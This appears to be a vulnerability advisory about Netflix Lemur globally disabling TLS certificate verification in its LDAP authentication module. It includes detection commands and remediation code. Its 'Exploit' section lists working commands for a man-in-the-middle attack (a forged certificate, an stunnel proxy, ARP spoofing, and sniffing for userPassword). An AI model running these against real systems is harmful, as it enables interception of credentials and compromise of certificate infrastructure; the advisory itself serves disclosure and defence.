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How the vulnerability works (CVE not assigned in provided , but mechanism follows): When Lemur’s LDAP authentication module enables TLS via LDAP_USE_TLS = True, the `_bind()` method in `lemur/auth/ldap.py` (line ~172) calls ldap.set_option(ldap.OPT_X_TLS_REQUIRE_CERT, ldap.OPT_X_TLS_NEVER). This is a global call to the underlying `python-ldap` library, not an instance-level setting. As a result, TLS certificate verification is completely disabled for the entire Python process, affecting all LDAP connections from that point forward. The `OPT_X_TLS_NEVER` flag silently accepts any certificate – self-signed, expired, wrong hostname, or revoked. There is no configuration option to re-enable verification when TLS is activated. An attacker positioned between Lemur and the LDAP server (man-in-the-middle) can present any certificate, and Lemur will establish the TLS session without any error. The attacker can then decrypt, read, and modify all LDAP traffic, including plaintext credentials and authentication responses. Because Lemur manages certificates and private keys, this flaw compromises the entire PKI trust anchor. The global scope means even unrelated LDAP connections in the same process inherit insecure behavior. No certificate validation occurs, making TLS effectively useless for integrity or confidentiality.
dailycve form:
Platform: Netflix Lemur
Version: Any with LDAP_TLS
Vulnerability: TLS cert bypass
Severity: Critical
date: 2026-05-06
Prediction: Patch by June 2026
What Undercode Say:
Analytics:
Check vulnerable code pattern grep -n "OPT_X_TLS_REQUIRE_CERT" lemur/auth/ldap.py grep -n "OPT_X_TLS_NEVER" lemur/auth/ldap.py Verify global ldap options from Python python3 -c "import ldap; print(ldap.get_option(ldap.OPT_X_TLS_REQUIRE_CERT))"
Exploit:
Setup MITM proxy with self-signed cert openssl req -x509 -newkey rsa:2048 -keyout mitm.key -out mitm.crt -days 1 -nodes -subj "/CN=attacker" cat mitm.key mitm.crt > mitm.pem stunnel -d 0.0.0.0:636 -r real-ldap-server:636 -p mitm.pem Redirect traffic (ARP spoof) arpspoof -i eth0 -t lemur-host real-ldap-server Capture credentials tcpdump -i eth0 -A -s 0 port 636 | grep -i "userPassword"
Protection from this CVE:
Remediation code (instance-level strict verification)
if self.ldap_use_tls:
self.ldap_client.set_option(ldap.OPT_X_TLS_REQUIRE_CERT, ldap.OPT_X_TLS_DEMAND)
self.ldap_client.set_option(ldap.OPT_PROTOCOL_VERSION, 3)
if self.ldap_cacert_file:
self.ldap_client.set_option(ldap.OPT_X_TLS_CACERTFILE, self.ldap_cacert_file)
Configuration override with secure default
tls_require_cert = current_app.config.get("LDAP_TLS_REQUIRE_CERT", ldap.OPT_X_TLS_DEMAND)
self.ldap_client.set_option(ldap.OPT_X_TLS_REQUIRE_CERT, tls_require_cert)
Impact:
- Interception of all LDAP credentials (usernames + plaintext passwords) for every authenticating user.
- Modification of LDAP responses to inject arbitrary group memberships, granting unauthorized admin access.
- Full compromise of Lemur’s PKI infrastructure: certificates, private keys, and issuance policies are exposed.
- Because Lemur is a certificate management system, this TLS attack undermines the very security it aims to provide.
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Sources:
Reported By: github.com
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